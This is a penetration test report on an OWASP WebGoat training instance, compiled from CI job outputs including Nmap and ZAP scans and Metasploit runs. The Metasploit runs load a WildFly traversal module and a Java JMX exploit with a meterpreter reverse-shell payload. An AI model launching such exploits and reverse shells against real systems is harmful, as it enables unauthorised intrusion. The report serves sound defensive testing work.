# ASTICI

# Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

16/11/2023

# Executive Sumary

## Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Staic code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

## Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

## Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure’s OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

## Vulnerabilities and Recomendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

# Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 717

GitHub Issue URL : Here!

**Playwright**
**pytest**
**"priority High"**

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [ 60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 25.29s ==============================

Stop pytests....

# Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 716

GitHub Issue URL : Here!

**parrotOS**
**metasploit**
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 3s (7706 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.224.49.85

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

---

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

# Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 715

GitHub Issue URL : Here!

- Site: http://4.224.49.85:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.49.85:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.49.85:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.49.85:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.224.49.85:8080/WebGoat/login
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.49.85:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://4.224.49.85:8080/robots.txt
    - http://4.224.49.85:8080/sitemap.xml
    - http://4.224.49.85:8080/WebGoat/login
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://4.224.49.85:8080/robots.txt
    - http://4.224.49.85:8080/sitemap.xml
    - http://4.224.49.85:8080/WebGoat/login
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://4.224.49.85:8080/robots.txt
    - http://4.224.49.85:8080/sitemap.xml
    - http://4.224.49.85:8080/WebGoat/login
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://4.224.49.85:8080/robots.txt
    - http://4.224.49.85:8080/sitemap.xml
    - http://4.224.49.85:8080/WebGoat/login
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.224.49.85:8080/WebGoat/start.mvc
    - http://4.224.49.85:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.49.85:8080/
    - http://4.224.49.85:8080/robots.txt
    - http://4.224.49.85:8080/sitemap.xml
    - http://4.224.49.85:8080/WebGoat/login

- **User Agent Fuzzer** [10104] total: 24:
  - http://4.224.49.85:8080/WebGoat
  - http://4.224.49.85:8080/WebGoat
  - http://4.224.49.85:8080/WebGoat
  - http://4.224.49.85:8080/WebGoat
  - http://4.224.49.85:8080/WebGoat
  - ..

View the following link to download the report. RunnerID:6887480431

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 714

GitHub Issue URL : Here!

**parrotOS**
**nmap**
**"priority Medium"**

Nmap vulnerability scanning
for 4.224.49.85

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 3s (6170 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-16 07:20 UTC

Nmap scan report for 4.224.49.85

Host is up (0.24s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 a2:6a:72:2e:77:93:d4:ff:28:06:89:4c:f1:e4:0e:67 (ECDSA)

|_ 256 9f:45:de:fc:23:d8:5e:ff:c3:f1:d9:e7:43:67:a5:c6 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 16 Nov 2023 07:24:25 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 16 Nov 2023 07:24:23 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 16 Nov 2023 07:24:24 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 16 Nov 2023 07:24:23 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-16T07:24:23.782+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 16 Nov 2023 07:24:41 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-16T07:24:41.946+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/16%Time=6555C3A7%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 16 Nov 2023 07:24:

SF:23 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 16\n

SF:x20Nov 2023 07:24:24 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 16\x

SF:20Nov 2023 07:24:25 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%r(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len

SF:gth: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(WMSRequest,42,"

SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio

SF:n: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/16%Time=6555C3A7%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Thu, 16 Nov 2023 07:24:23\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-11-16T07:24:23.782+00:00\n

SF:", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

")%r(SqueezeCenter_

SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Thu, 16 Nov 2023 07:24

SF::41 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-16T07

SF::24:41.946+00:00\", \"status\" : 404, \"error

SF:\" : \"Not Found\", \"path\" : \"/\" }")%r(RTS

SF:PRequest,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), WatchGuard Fireware 11.X (86%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel:4.4 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 4.4 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%), Linux 4.0 (85%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 26 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.01 ms 172.17.0.1

2 ... 25

26 244.24 ms 4.224.49.85

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 353.95 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-16 07:26 UTC

Nmap scan report for 4.224.49.85

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-16 07:26 UTC

Nmap scan report for 4.224.49.85

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 713

GitHub Issue URL : Here!

**SonarCloud**
**"priority High"**

# SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 712

GitHub Issue URL : Here!

**Snyk_scan**
**"priotity High"**

# Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

# Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 711

GitHub Issue URL : Here!

**parrotOS**
**metasploit**
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Ign:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages

Ign:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Ign:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Ign:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Ign:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Err:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

504 Gateway Time-out [IP: 167.114.220.80 443]

Fetched 19.6 MB in 5min 52s (55.7 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Err:3 https://deb.parrot.sh/parrot parrot-backports InRelease

504 Gateway Time-out [IP: 167.114.220.80 443]

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 20.204.140.188

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

